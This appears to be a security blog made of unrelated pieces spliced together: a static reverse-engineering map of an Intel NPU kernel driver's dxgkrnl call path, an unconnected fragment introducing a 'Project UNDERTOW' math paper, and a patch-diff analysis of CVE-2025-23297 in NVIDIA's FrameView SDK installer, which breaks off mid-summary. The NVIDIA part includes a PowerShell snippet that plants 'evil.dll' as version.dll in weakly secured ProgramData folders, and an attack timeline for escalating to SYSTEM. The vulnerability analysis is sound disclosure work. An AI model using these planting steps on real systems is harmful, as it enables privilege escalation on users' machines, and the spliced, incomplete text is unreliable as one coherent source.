Excerpts that retain raw local_NNN names are unannotated decompiler output reproduced verbatim.

Section 4.1 ended on a question that cannot be settled inside npu_kmd.sys: whether dxgkrnl captures pPrivateDriverData into a kernel buffer before invoking the miniport, or passes the user pointer through. Answering that question required following the call chain from the user-mode D3DKMTCreateContext API down into dxgkrnl.sys.

The path from user mode to the miniport runs through D3DKMTCreateContext (exported by gdi32.dll) –> the corresponding syscall stub in win32k.sys –> NtGdiDdDDICreateContext (the kernel-mode handler in dxgkrnl.sys) –> DXGDEVICE::CreateContext –> the registered miniport DDI. NtGdiDdDDICreateContext calls DXGDEVICE::CreateContext directly; the similarly-named DxgkCreateContextVirtualInternal / DxgkCreateContextVirtualImpl pair belongs to a separate sibling chain that serves the D3DKMTCreateContextVirtual entry point, not the non-virtual D3DKMTCreateContext path traced here. The chain still spans several stack-argument-heavy calls (which Ghidra’s signature recovery reconstructed quite badly), inside which a probe-and-capture step might or might not occur.

Figure 6 - internal dxgkrnl chain + Full-Capture inset (The internal dxgkrnl call chain from NtGdiDdDDICreateContext through DXGDEVICE::CreateContext, with the three-step Full-Capture inset (RtlCopyVolatileMemory -> operator_new[] (DxgK tag) -> memmove) highlighted)

Static analysis of dxgkrnl!NtGdiDdDDICreateContext shows three sequential operations on the user input:

1. Probe-and-copy of the outer struct. The function clamps the user pointer to MmUserProbeAddress and copies 96 bytes (0x60) of the D3DKMT_CREATECONTEXT structure to a kernel stack frame via RtlCopyVolatileMemory. The clamp ensures that a user pointer pointing into kernel address space is replaced by MmUserProbeAddress itself before the copy, so the copy cannot dereference kernel memory.
2. Bounded kernel-pool allocation. From the kernel-stack copy of the outer struct, the function reads pPrivateDriverData and PrivateDriverDataSize. If both are non-zero, it allocates a kernel pool buffer with operator_new[](size, 0x4b677844, 0x100). The tag value 0x4b677844 decodes in little-endian as ASCII bytes 44 78 67 4B = DxgK, which is the standard dxgkrnl-owned pool tag.
3. Range-checked copy into the kernel pool. Before memmove runs, the function checks that user_ptr + size does not wrap (integer overflow guard) and that the resulting end pointer does not exceed MmUserProbeAddress (upper-bound guard). On failure either guard, the function takes an exception path. On success, memmove(kernel_pool_ptr, user_ptr, size) copies the user buffer into the kernel pool allocation.

(The three-step probe –> allocate –> range-checked-copy sequence above is depicted as the highlighted inset of Figure 6.)

The kernel pool pointer that results from step 2 is then forwarded toward the miniport DDI. The dxgkrnl enumeration confirms the capture sequence directly: the verbatim decompiler excerpt shows _Dst = operator_new[]((ulonglong)PrivateDriverDataSize_PASTlocal_130, 0x4b677844, 0x100) followed by memmove(_Dst, user_PrivateDriverData_ptr_PASTlocal_138, …), and the callgraph slice confirms operator_new[] resolves to ExAllocatePool2. The tag 0x4b677844 is DxgK in little-endian byte order (44 78 67 4b).

The forwarding call into the device-level method is now resolved. The dxgkrnl enumeration recovers DXGDEVICE::CreateContext at RVA 0x2de368, and its demangled prototype is:

1
2
3
4
5
6
7
8
9
public: long DXGDEVICE::CreateContext(
    class DXGCONTEXT **,                 // [out] created context object
    unsigned int,                        // NodeOrdinal
    unsigned int,                        // EngineAffinity
    struct _D3DDDI_CREATECONTEXTFLAGS,   // Flags
    void *,                              // pPrivateDriverData (the captured kernel-pool pointer)
    unsigned int,                        // PrivateDriverDataSize
    enum _D3DKMT_CLIENTHINT,             // ClientHint
    unsigned char)                       // a byte flag

That is eight declared parameters; counting the implicit this, the method takes nine arguments.

It is worth noting one tag-disambiguation point for the reader: the dxgkrnl capture buffer carries the tag DxgK (0x4b677844), whereas the per-process VPU context object allocated inside npu_kmd.sys (Section 4.1) carries the distinct tag @MP (0x20504d40). The two tags belong to two different allocations owned by two different components and must not be mixed when reading !pool output.

The static evidence therefore shows that on the NtGdiDdDDICreateContext path the standard Full Capture pattern is implemented: probe, allocate, range-check, copy, forward kernel pointer. The remaining open question is whether the pointer that reaches the miniport at the moment of the DDI invocation is in fact the kernel-pool pointer produced by this path. That question is settled only by runtime observation of the DDI invocation, which is outside the scope of this static map; Section 7.3 records it as the boundary at which this analysis stops.

6. Why emulation does not answer the open question

The question Section 5 leaves open is what dxgkrnl passes to KmCreateContext after the full NtGdiDdDDICreateContext path has run, and despite me wanting to, this cannot be settled by emulation. Settling it that way would require emulating, at minimum:

• dxgkrnl.sys and its full DDI dispatch machinery
• The MCDM miniport registration handshake, which depends on dxgkrnl’s internal state from boot
• The user-mode-to-kernel-mode transition with pPrivateDriverData arriving from a real user VA space
• The pool allocator, whose behavior determines whether the captured buffer lands in a region with a recognizable tag
• MmUserProbeAddress semantics, which depend on the current process’s VA layout and the kernel’s mode-switch state

Emulating the NT graphics subsystem to that depth is just too much to a single forwarded-pointer question. The question is one for runtime observation on real hardware, not emulation; Section 7.3 records it as the boundary at which this static map stops.

7. The static/dynamic boundary

This section explains where static analysis of the KmCreateContext path stops. The dynamic phase itself with kernel-debugger observation of the live DDI invocation, will be outside the scope of this blog post.

7.1 Locating the loaded binary

On Windows, kernel drivers installed via INF land in C:\Windows\System32\DriverStore\FileRepository\<package>_<hash>\, where the hash is per-package. The authoritative location is whatever the running driver service points to:

1
2
Get-CimInstance Win32_SystemDriver | Where-Object {$_.Name -eq 'npu'} |
    Select-Object Name, PathName, State, Started

On the test system this resolves to C:\WINDOWS\system32\DriverStore\FileRepository\npu.inf_amd64_cdb3a40167d50623\npu_kmd.sys, version 32.0.100.4621. The service name is npu, not npu_kmd: the binary filename and the service name are unrelated, and the INF declares the service name explicitly via the AddService directive. sc query <name> and many WinDbg conveniences key off the service name.

7.3 The unresolved question

• Section 4.1 reduced the pPrivateDriverData reads in KmCreateContext to a single binary question: does the pointer that reaches the miniport hold a dxgkrnl-captured kernel buffer (Behavior B, Full Capture) or the raw user pointer (Behavior A, Pass-Through).
• Section 5 traced the dxgkrnl side and found the Full Capture pattern, probe, allocate, range-check, copy, implemented on the NtGdiDdDDICreateContext path; the static evidence therefore points to Behavior B. Confirming which pointer actually reaches the miniport at the instant of the DDI call requires runtime observation and is not part of this map.

8. Scope of this “map”

This section records what the map covers, what is deliberately out of scope, and the questions left open for a follow-on effort.

8.1 What the map covers

• Installer structure mapped
• npu.inf parsed; service name confirmed as npu (binary filename is npu_kmd.sys).
• npu_kmd.sys identified as an MCDM miniport, not WDM/KMDF. This is the most consequential architectural finding.
• Three platforms supported: VPU 37xx (Meteor Lake), VPU 40xx (Arrow Lake), VPU 50xx (Lunar Lake), distinguished by firmware blobs and PCI IDs.
• DDI callback registration path identified, and the complete DriverEntry callback table enumerated: 79 writes in total (one version field, 50 unconditional callback pointers, and 28 build-number-gated pointers), with every offset, target, and gate resolved (Section 3).
• KmCreateContext decompiled and annotated as a worked example.
• DXGKARG_CREATECONTEXT argument layout cross-referenced against Microsoft documentation; an apparent structural divergence traced to a misaligned Ghidra struct application rather than a confirmed vendor extension, and a struct-removed re-decompile confirmed the trailing region carries no Intel extension. Every write lands inside the documented DXGK_CONTEXTINFO (Section 4.2).
• Dereferences inside KmCreateContext mapped at +0x10, +0x14, +0x18, +0x1c, +0x1d relative to the pPrivateDriverData pointer.
• The two possible runtime behaviors (Behavior A and Behavior B in Section 4.1) framed and reduced to one observable distinction.
• Inside dxgkrnl.sys, NtGdiDdDDICreateContext traced through RtlCopyVolatileMemory (input-struct probe-and-copy), operator_new[](size, 0x4b677844, 0x100) (kernel-pool allocation with DxgK tag), and memmove (range-checked user-to-kernel copy). The static evidence is consistent with the Full Capture pattern on this path.
• INTEL-SA-01403 (the three “improper conditions check” CVEs patched in 32.0.100.4297) reviewed as a reference for where new instances of the same class might live.

8.2 What is out of scope

Dynamic tests: kernel-debugger observation of the live KmCreateContext invocation, and anything that requires the driver to be exercised at runtime is not part of this map. Section 4.1 and Section 5 carry the pPrivateDriverData question as far as static analysis allows; Section 7.3 records the boundary.

8.3 What the map does not yet cover

The complete callback table is now enumerated in Section 3, but the map stops at the registration layer: it records every populated offset, its target function, and its build-number gating, without resolving which Microsoft DDI role (beyond DxgkDdiCreateContext at _464) each slot implements. Mapping the remaining offsets onto their DxgkDdi* roles, and analysing the individual handlers, is the natural next layer of work.

The following are named here as attack surface but not analyzed in this document:

• the cleanup and error-path handling inside KmCreateContext
• the Escape DDI surface
• the behaviour of the 24H2 hardware-scheduling (HWS) callbacks (now enumerated as the build-24999-gated slots in Section 3, but not individually analyzed)
• the firmware loader path
• the paging-buffer DDI
• the firmware-blob format.

The installer (Installer.exe) and the user-mode DLLs are a separate, user-mode attack surface not examined here.

8.4 Open questions

These are the questions that I will consider trying to answer in the future.

1. Does the pointer reaching KmCreateContext hold a dxgkrnl-captured kernel buffer or the raw user pointer? Section 5 shows the Full Capture pattern on the dxgkrnl side; runtime confirmation is the open item.
2. The prologue’s exact-0x1e size gate (Section 4.1) means a Full-Capture buffer is always 30 bytes and the five reads (max +0x1d) are in bounds, so the captured-buffer out-of-bounds question is closed by static analysis.
3. Does the cleanup function handle all partial-initialization states in KmCreateContext’s error paths?
4. Where are the pHwOps vtable assignment sites that resolve per-generation hardware abstraction?
5. Did 4723 versus 4621 introduce any change in KmCreateContext or adjacent functions?
6. Are there DLL hijacking opportunities in Installer.exe or any of the user-mode DLLs?
7. Does the firmware loader verify the firmware blob itself, or rely only on the on-disk WHQL signature? If unverified, this is a firmware-integrity gap.

9. Closing note

The whole idea of this document is the map itself: the identification of npu_kmd.sys as an MCDM miniport, the DriverEntry callback-registration mechanism, the D3DKMT-to-DDI dispatch path, the dxgkrnl trust boundary, and a worked static analysis of one DDI (KmCreateContext) carried to the point where static evidence runs out.

Its value is as a reference for anyone auditing this driver, or a comparable MCDM compute miniport.

About the next posts: I love talking about this in the end, because it kinda forces me to not bail out on these ideas, but to actually finish them. So I am looking at several other targets and ideas as well:

• ProGuard Obfuscation and finding your way around it
• Large Lange Model weights forensics and “weights steganography”
• JetBrains bleeeh ;p

Offsets in npu_kmd.sys version 32.0.100.4723. Love from RaptX

However, after many considerations and overthinking - more than I should have, speaking with a very close friend (tbh, if it wasn’t for him to convince me, I wouldn’t have released it), I finally decided to make it public. Or at least the math.

And what about the source of the tool? - There is a part of it which deals with visualizing relations of files across version releases of software, import/export tables + some more “spice” as a Neo4j graph. In the end, this module proved to be, for some reason, more demanding than I wanted it and being a bit burnt-out over this project, I decided to leave it aside for some time. This is not forgotten and I hate leaving projects unfinished, so I will definitely get back to it.

Why am I releasing this, since the tool is not fully complete? - This close friend of me, convinced me, and now I also think the same way, that publishing the math part, at least, before everything is working, would allow me to touch-on, polish and fix mistakes, if someone points out something. Easy.

Enough talk. Enjoy the paper. Algebra + Cybersecurity <3

The Mathematics of Project UNDERTOW

Bye from TFLL37 Love from Team RaptX

(Note: This article is for educational and security research purposes only. The information provided should not be used for any malicious activities, nor I bear any responsibility for any misuse of it)

Figure: NVIDIA security disclosure

On 29.9.2025 Nvidia disclosed a high severity vulnerability in the NVIDIA installer for NvAPP. Since no deep dive documentation is present for this CVE I was down for the task.

This document contains my reverse engineering analysis of CVE-2025-23297, a local privilege escalation vulnerability in NVIDIA FrameView SDK. Through binary analysis using Ghidra, I identified multiple instances where the installer creates directories with NULL security attributes, enabling DLL hijacking attacks.

Disclosure of this vulnerability was only carried out by Dong-uk Kim and JunYoung Park of KAIST Hacking Lab.

Key Info:

• Vulnerability Type: Insecure directory creation → DLL hijacking
• Root Cause: CreateDirectoryW() called with NULL security attributes
• Affected: NVIDIA App installer v11.0.4.526 and earlier
• Fixed: NVIDIA App v11.0.5.245
• Impact: Local privilege escalation (standard user → SYSTEM)

Files Analyzed

Extracted files from both patched and vulnerable versions of the NvApp installer to compare:

Compared Versions:

• NVIDIA_app_v11.0.4.526.exe (vulnerable)
• NVIDIA_app_v11.0.5.245.exe (patched)

Key Components:

• nvfvsdksvc_x64.exe
• installation scripts
• core SDK scripts: bin\FvSDK_x64.dll
• container application: FvContainer\FvContainer.exe

Initial Analysis - Unpacking and Comparing Installers

Unpacking the Installers

Before diving into binary analysis with Ghidra, I needed to understand the scope of changes between the vulnerable and patched versions. I unpacked both NVIDIA App installers to extract their contents.

Unpacking tools used:

• Uni-Extract 2 for initial extraction

Once unpacked, I had two directory trees to compare - one from the vulnerable version and one from the patched version.

PowerShell Comparison Script

I wrote a PowerShell script to systematically compare the two unpacked installer directories. The script performed two levels of comparison:

1. Whole directory comparison - comparing ALL files across both installers
2. FrameView-specific comparison - focusing on FrameView-related files

Whole Directory Comparison Results

The first pass comparing all files across both unpacked installers revealed:

• Several new files were created in the patched version
• Some files were deleted
• Many files had size differences (indicating modifications)

Since this was quite a large surface to examine and nothing much caught my eye immediately, I decided to focus more on the FrameView-specific components, as NVIDIA’s security bulletin specifically mentions the FrameView SDK installation process.

FrameView Directory Comparison Results

Narrowing down to FrameView-related files, the comparison revealed these modified files:

Figure: Modified files in FrameView components

Key findings from the comparison:

• Multiple executables and DLLs were modified
• Installation scripts were updated
• The main service executable nvfvsdksvc_x64.exe showed changes

All these were files that theoretically I should examine, but since NVIDIA’s bulletin states “the issue is during the installation process,” I decided to start with the installer executable itself: nvfvsdksvc_x64.exe.

This strategic decision paid off, as the installer contained the vulnerable CreateDirectoryW() calls that create the weak directory permissions.

Technical Background - CreateDirectoryW Function

Before diving into the Ghidra analysis, let me explain the Windows API function that’s at the center of this vulnerability.

The CreateDirectoryW Function

The CreateDirectoryW() function creates a new directory and can apply a specified security descriptor to the new directory if the underlying file system supports security.

Function Signature:

1
2
3
4
BOOL CreateDirectoryW(
  LPCWSTR               lpPathName,          // [rcx] or stack
  LPSECURITY_ATTRIBUTES lpSecurityAttributes // [rdx] or stack
);

Parameters:

• lpPathName - The path of the directory to be created
• lpSecurityAttributes - Pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new directory. If lpSecurityAttributes is NULL, the directory inherits the default security descriptor from its parent directory.

x64 Windows calling convention:

• 1st parameter (lpPathName) → RCX register
• 2nd parameter (lpSecurityAttributes) → RDX register

Why NULL Security Attributes Are Dangerous

When CreateDirectoryW is called with NULL security attributes:

• The directory inherits default permissions from its parent (C:\ProgramData)
• This often results in BUILTIN\Users: Read & Execute, Write permissions
• Any local user can write files to this directory
• When NVIDIA FrameView SDK loads files from this directory with elevated privileges, it can execute attacker’s code

Windows DLL Search Order

This is crucial to understand the attack. When a process loads a DLL, Windows searches in this order (with SafeDllSearchMode enabled, which is default):

1. The directory where the application loaded from ← Attacker wins here!
2. The system directory (C:\Windows\System32)
3. The Windows directory (C:\Windows)
4. Current directory
5. Directories in PATH

So if an attacker can plant a malicious DLL in the application directory before a privileged process loads it, game over.

Analysis - Opening the Installers in Ghidra

Since NVIDIA mentions the issue is caused during the installation process of the FrameViewSDK, I deduced that the vulnerability is likely related to how directories are created. Such attacks are often accompanied by specific Win32 API calls, particularly the CreateDirectoryW() function.

Figure: Ghidra disassembly view

Finding CreateDirectoryW References

Upon searching the two disassembled files, I noticed that the function is differently named by Ghidra in the vulnerable installer compared to the patched version (different addresses, different function names due to recompilation). But in both installers, we can find the CreateDirectoryW function in the Symbol tree.

Figure: CreateDirectoryW in symbol tree

Both of these functions use this Windows function. Comparing the pointers:

Figure: Comparing function pointers between versions

Locating All References

In Ghidra’s Symbol Tree → Exports, I navigated to the function CreateDirectoryW() and inspected all references to this function inside both executables.

Vulnerable version:

Figure: CreateDirectoryW references in vulnerable version

Patched version:

Figure: CreateDirectoryW references in patched version

Result: 3 call sites to CreateDirectoryW in each version (the 4th entry is just the import table pointer itself, not an actual call).

First Vulnerable Call - Addresses 0x140006c78 & 0x14000b542

Location Investigation

Navigating to the first reference in the vulnerable version, it points to address 0x140006c78, which is part of the address space of function FUN_140006b10.

I did this for both versions:

Vulnerable:

Figure: First vulnerable call location

Patched:

Figure: Corresponding patched function location

Version Tracking in Ghidra

After finding the addresses, I used Ghidra’s Version Tracking feature to compare the two versions.

The vulnerable call is at address 0x140006c78 inside function FUN_140006b10. I filtered the Version Tracking Matches window for this specific function, and Ghidra’s correlator gave me several function matches on the vulnerable exe side.

Ghidra, using the BSim Function Matching Algorithm, matched the function where CreateDirectoryW() was called in the vulnerable version (FUN_140006b10) to function FUN_140008130 in the patched version.

This clearly pointed out that I should investigate these two functions more deeply. And after inspecting the whole decompiled code…

BINGO! Found the Vulnerability

Inside the vulnerable version, they’re setting the LPSECURITY_ATTRIBUTES to 0x0, meaning NULL - no security attributes are applied!

Vulnerable code (FUN_140006b10):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void FUN_140006b10(undefined8 ****param_1, longlong *param_2, char param_3)
{
  LPVOID pvVar1;
  code *pcVar2;
  int iVar3;
  LPCWSTR ***ppppWVar4;
  // ... variable declarations ...
  
  // Get known folder path
  iVar3 = SHGetKnownFolderPath(&DAT_14008afa0, 0, 0);
  if (iVar3 != 0) {
    CoTaskMemFree(local_70);
    OutputDebugStringA("SHGetKnownFolderPath Failed\n");
    return;
  }
  
  // Build path: \NVIDIA Corporation\FrameView
  FUN_14000a270((longlong *)&local_60, local_70, uVar7);
  FUN_14000a390(&local_60, (undefined8 *)L"\\NVIDIA Corporation", 0x13);
  FUN_14000a390(&local_60, (undefined8 *)L"\\FrameView", 10);
  
  if (param_3 != '\0') {
    FUN_14000a390(&local_60, (undefined8 *)&DAT_140097ef0, 3);
  }
  
  ppppWVar4 = &local_60;
  if (7 < local_48) {
    ppppWVar4 = (LPCWSTR ***)local_60;
  }
  
  // [!!!!] VULNERABLE: NULL security attributes!
  CreateDirectoryW((LPCWSTR)ppppWVar4, (LPSECURITY_ATTRIBUTES)0x0);
  //                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  //                                    This is the bug!
  
  // Rest of the function...
}

Patched code (FUN_140008130):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void FUN_140008130(LPCWSTR ****param_1, longlong *param_2, char param_3)
{
  // ... variable declarations ...
  _SECURITY_ATTRIBUTES local_168;  // <<<<<<<<<<< New: Security attributes structure!
  uint uStack_14c;
  PSID local_288;
  PSID pvStack_280;
  PSID local_278;
  // ... more security-related variables ...
  
  // Initialize security structures
  FUN_14008aad0((undefined1 (*) [32])&local_288, 0, 0x120);
  local_288 = (PSID)0x0;
  pvStack_280 = (PSID)0x0;
  local_278 = (PSID)0x0;
  // ... initialize more security fields ...
  
  // Build proper security attributes with ACL
  uVar4 = FUN_140006cf0(&local_288, (undefined8 *)&local_168);
  //                     ^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^
  //                     SIDs        Populates security attributes
  
  if (uVar4 == 0) {  // Success
    // Build directory path...
    ppppppppWVar11 = &local_2f8;
    if (7 < local_2e0) {
      ppppppppWVar11 = (LPCWSTR *******)local_2f8;
    }
    
    // SECURE: Proper security attributes passed!
    CreateDirectoryW((LPCWSTR)ppppppppWVar11, &local_168);
    //                                         ^^^^^^^^^^^
    //                                         Restricts access
    
    // ... rest of function ...
  }
  
  // Cleanup security resources
  if (local_288 != (PSID)0x0) {
    FreeSid(local_288);
  }
  if (pvStack_280 != (PSID)0x0) {
    FreeSid(pvStack_280);
  }
  // ... more cleanup ...
}

Assembly Verification

Looking at the assembly at address 0x14006c78 (vulnerable):

14006c70  46 0f 47 3c 24 10    CMOVA   param_1=>local_60, qword ptr [RSP + 0x33]
14006c78  ff 15 12 34 05 00    CALL    qword ptr [->KERNEL32.DLL::CreateDirectoryW]

Before this CALL, the second parameter (RDX) was set to 0 (NULL) via XOR RDX, RDX earlier in the function.

The Complete Security Fix

The patched version adds three key things:

1. Declares a SECURITY_ATTRIBUTES structure:

   1
    _SECURITY_ATTRIBUTES local_168;
   

2. Initializes it with proper security settings:

   1
    FUN_140006cf0(&local_288, (undefined8 *)&local_168);
   

   This function sets up proper ACLs (Access Control Lists) to restrict who can access the directory - only Administrators and SYSTEM, NOT regular users.

3. Passes the structure to CreateDirectoryW:

   1
    CreateDirectoryW(path, &local_168);  // Instead of NULL
   

Comparing with Meld

The tool Meld is great for comparing these functions as it highlights the differences. Even though its main use is for git management, it works well for comparing decompiled code.

Inspecting the two variants, we can see some differences. Besides some code updates, additions, and compiler optimizations (running the same code through the same compiler doesn’t always guarantee identical binary output - compilers can reorder instructions and variables), we can clearly spot the introduction of the _SECURITY_ATTRIBUTES variable in the patched version.

Figure: Meld diff highlighting the security fix

Why This Matters - The Attack

When CreateDirectoryW is called with NULL security attributes:

• The directory inherits default permissions from its parent (C:\ProgramData)
• Often results in Everyone: Full Control or Users: Write permissions
• Any local user can place malicious DLLs in this directory
• When NVIDIA FrameView SDK service (running as SYSTEM) loads files from this directory, it executes the attacker’s code with SYSTEM privileges

The attack is simple:

1. Attacker monitors for the directory creation (takes like 50ms to detect)
2. Immediately plants a malicious DLL (like version.dll)
3. Waits for the NVIDIA service to start
4. Service loads the malicious DLL from the application directory (Windows searches there FIRST)
5. PRIVILEGE ESCALATION - code execution as SYSTEM

There’s NO narrow race condition here - the attacker has a wide window (maybe 30+ seconds during installation) to plant the DLL. This makes it trivially exploitable.

Done? No. Investigating Other References

Despite these findings, I decided to continue digging so as not to leave the job half done. There were still two more references to check. I’m glad I continued, as the attack surface expanded :)

Second Vulnerable Call - Addresses 0x14002055a & 0x1400256ee

Function Location

• Vulnerable: Address 0x14002055a inside function FUN_1400203e0
• Patched: Address 0x1400256ee inside function FUN_1400253b0

I repeated the same procedures I did with the first call - finding where the call was made, what function uses it, and comparing the two versions.

Finding: TWO Vulnerable Calls in One Function!

Upon inspection, I found something surprising - the vulnerable version has TWO insecure CreateDirectoryW() calls in the same function! Kinda strange - the developers are using this Windows function multiple times without reading the documentation at all (either this), or they’re purposefully excluding security attributes (which I doubt, of course).

Vulnerable version (FUN_1400203e0):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void FUN_1400203e0(undefined8 *param_1, DWORD *param_2, byte param_3)
{
  // ... lots of setup code ...
  
  // Build path for FvContainer
  FUN_14000ac10(&local_80, param_1);
  pwVar9 = L"\\FvContainer\\FvContainer.exe";
  if (param_3 != 0) {
    pwVar9 = L"\\FvContainer\\FvContainer.System.exe";
  }
  
  // Get special folder path and build: \NVIDIA Corporation\FrameViewSDK
  FUN_14001e550(local_60);
  FUN_14000a270((longlong *)&local_100, ppppuVar7, local_50);
  FUN_14000a390(&local_100, (undefined8 *)L"\\NVIDIA Corporation", 0x13);
  FUN_14000a390(&local_100, (undefined8 *)L"\\FrameViewSDK", 0xd);
  
  ppppWVar6 = &local_100;
  if (7 < local_e8) {
    ppppWVar6 = (LPCWSTR ***)local_100;
  }
  
  // [!!!!!!!] VULNERABILITY #1: FrameViewSDK directory with NULL security!
  CreateDirectoryW((LPCWSTR)ppppWVar6, (LPSECURITY_ATTRIBUTES)0x0);
  
  // Now build MessageBus subdirectory path
  // This part is interesting - they're manually writing bytes to build the string
  builtin_wcsncpy((wchar_t *)((longlong)ppppWVar5 + uVar12 * 2), L"\\Message", 8);
  *(undefined4 *)((longlong)ppppWVar5 + (uVar12 + 8) * 2) = 0x750062;  // "bu" in little-endian
  *(undefined2 *)((longlong)ppppWVar5 + (uVar12 + 10) * 2) = 0x73;     // "s"
  // This creates: \MessageBus
  
  ppppWVar6 = &local_a0;
  if (7 < uStack_88) {
    ppppWVar6 = (LPCWSTR ***)local_a0;
  }
  
  // [!!!!!!!] VULNERABILITY #2: MessageBus subdirectory with NULL security!
  CreateDirectoryW((LPCWSTR)ppppWVar6, (LPSECURITY_ATTRIBUTES)0x0);
  
  // ... rest of function ...
}

String Construction Analysis

That weird byte-writing code deserves explanation:

1
2
*(undefined4 *)((longlong)ppppWVar5 + (uVar12 + 8) * 2) = 0x750062;
*(undefined2 *)((longlong)ppppWVar5 + (uVar12 + 10) * 2) = 0x73;

This manually writes bytes to extend the string. The values 0x750062 and 0x73 correspond to the little-endian representation of wide characters 'b', 'u', 's' (forming the string "bus"). This appends "bus" to create the path \\MessageBus.

Figure: Hex values showing “bus” construction

What This Means - More Attack Vectors!

This finding means the insecure usage of CreateDirectoryW() opens another attack vector for injecting malicious DLLs, but this time in a different folder: \\MessageBus.

The vulnerable installer creates these directories with weak permissions:

1. C:\ProgramData\NVIDIA Corporation\FrameViewSDK - vulnerable
2. C:\ProgramData\NVIDIA Corporation\FrameViewSDK\MessageBus - vulnerable

Patched Version - Proper Security

In the patched version (FUN_1400253b0), the function takes a 4th parameter (just pointing this out, I believe it’s not relevant to the CVE) and correctly sets the security attributes:

Figure: Patched version with proper security initialization

Patched version (FUN_1400253b0):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void FUN_1400253b0(undefined8 *param_1, DWORD *param_2, byte param_3, undefined8 param_4)
{
  _SECURITY_ATTRIBUTES local_390;  // Security attributes declared
  PSID local_378;
  PSID pvStack_370;
  // ... more security variables ...
  
  // Initialize security structures
  FUN_14008aad0((undefined1 (*) [32])&local_378, 0, 0x120);
  local_378 = (PSID)0x0;
  pvStack_370 = (PSID)0x0;
  // ... more initialization ...
  
  // Build security attributes with proper ACL
  uVar4 = FUN_140006cf0(&local_378, (undefined8 *)&local_390);
  
  if (uVar4 == 0) {  // Success
    // Build FrameViewSDK directory path
    ppppWVar7 = &local_450;
    if (7 < local_438) {
      ppppWVar7 = (LPCWSTR ***)local_450;
    }
    
    // SECURE: First CreateDirectoryW with proper security
    CreateDirectoryW((LPCWSTR)ppppWVar7, &local_390);
    
    // Build MessageBus subdirectory path
    // ... path construction code ...
    
    ppppWVar7 = &local_3f0;
    if (7 < uStack_3d8) {
      ppppWVar7 = (LPCWSTR ***)local_480;
    }
    
    // SECURE: Second CreateDirectoryW with SAME security attributes
    CreateDirectoryW((LPCWSTR)ppppWVar7, &local_390);
  }
  
  // Cleanup security resources
  if (local_378 != (PSID)0x0) FreeSid(local_378);
  if (pvStack_370 != (PSID)0x0) FreeSid(pvStack_370);
  // ... more cleanup ...
}

The patched version initializes the security attributes ONCE and uses them for BOTH directory creation calls. This is good coding practice - reusable security policy.

FvContainer Executable Context

Looking at the vulnerable function, it’s creating directories for FvContainer (the FrameView Container process). The code builds paths to executables:

1
2
3
FUN_14000a390(&local_80, (undefined8 *)L"\\FvContainer\\FvContainer.exe", ...);
// or
FUN_14000a390(&local_80, (undefined8 *)L"\\FvContainer\\FvContainer.System.exe", ...);

There are at least TWO different executables that can be exploited:

• FvContainer.exe (regular mode)
• FvContainer.System.exe (system mode - likely runs as SYSTEM!)

The code also builds command lines for plugin loading:

1
2
3
FUN_14000a390(&local_c0, (undefined8 *)L" -d \"", 5);
FUN_14000ac10(&local_c0, local_110);  // Adds plugin directory path
FUN_14000a390(&local_c0, (undefined8 *)L"\\FvContainer\\plugins\" ", ...);

When FvContainer.exe or FvContainer.System.exe runs:

• It loads DLLs from the application directory
• Application directory = C:\ProgramData\NVIDIA Corporation\FrameViewSDK\
• Finds attacker’s malicious DLL (Windows searches application dir FIRST)
• Executes with elevated privileges (SYSTEM if it’s the .System.exe version)

MessageBus Directory - IPC Attack Vector

The MessageBus subdirectory suggests inter-process communication. Looking at the code building \MessageBus, this is likely used for IPC between different FrameView components. Processes might load plugins or DLLs from the MessageBus directory to communicate. Perfect DLL hijacking target!

Real Attack Scenario

Step 1: Attacker plants malicious DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Vulnerable directories created with weak permissions:
$targets = @(
    "C:\ProgramData\NVIDIA Corporation\FrameView",
    "C:\ProgramData\NVIDIA Corporation\FrameViewSDK",
    "C:\ProgramData\NVIDIA Corporation\FrameViewSDK\MessageBus"
)

foreach ($dir in $targets) {
    if (Test-Path $dir) {
        # Plant malicious version.dll in each location
        Copy-Item "evil.dll" "$dir\version.dll"
        Write-Host "[+] Planted in: $dir"
    }
}

Step 2: FvContainer.exe launches

When the executable runs:

• Loads DLLs from application directory
• Finds attacker’s malicious DLL first (Windows DLL search order)
• Executes malicious code with elevated privileges

Step 3: Multiple processes = Multiple exploit chances

Conditional execution means different modes:

1
2
3
4
5
if (param_3 != 0) {
  pwVar11 = L"\\FvContainer\\FvContainer.System.exe";  // System service
} else {
  pwVar11 = L"\\FvContainer\\FvContainer.exe";          // Normal mode
}

More executables = more opportunities to exploit.

Third Reference - Completing the Picture

The cool thing is that by analyzing these two functions, we also examined the 3rd reference that Ghidra found, since that address is inside one of the functions we already looked at!

Figure: Third CreateDirectoryW reference

Version Tracking confirmation:

Figure: Ghidra Version Tracking results

Summary of Findings

Vulnerability Count

Total CreateDirectoryW() calls analyzed: 3 calls (across 2 functions)

• Function 1: 1 vulnerable call
• Function 2: 2 vulnerable calls (same function!)

All 3 calls in the vulnerable version use NULL security attributes. All 3 calls in the patched version use proper security attributes.

Affected Directories

Exploitable Processes

How the Attack Works

No Race Condition Required

I initially thought this might be a race condition, but it’s actually much simpler (of course, if someone thinks otherwise, please write a comment and let me fix the article :). The attacker has a wide window of opportunity:

1
2
3
4
5
6
7
8
Time 0:   NVIDIA installer starts
Time 0.1s: CreateDirectoryW() creates vulnerable directories
Time 0.2s: Attacker's monitoring script detects new directories
Time 0.3s: Attacker plants malicious DLL(s)
Time 30s:  Installation continues (WIDE WINDOW - no race!)
Time 45s:  Service starts or admin launches FrameView
Time 45s:  Malicious DLL loaded by privileged process
Time 45s:  Code execution achieved as SYSTEM

The key insight: The attacker can plant the DLL immediately when the folder is created and doesn’t need to wait for a specific time. Since Windows searches the application directory FIRST when loading DLLs, the malicious DLL will be found before legitimate ones in System32.

Attack Complexity: LOW

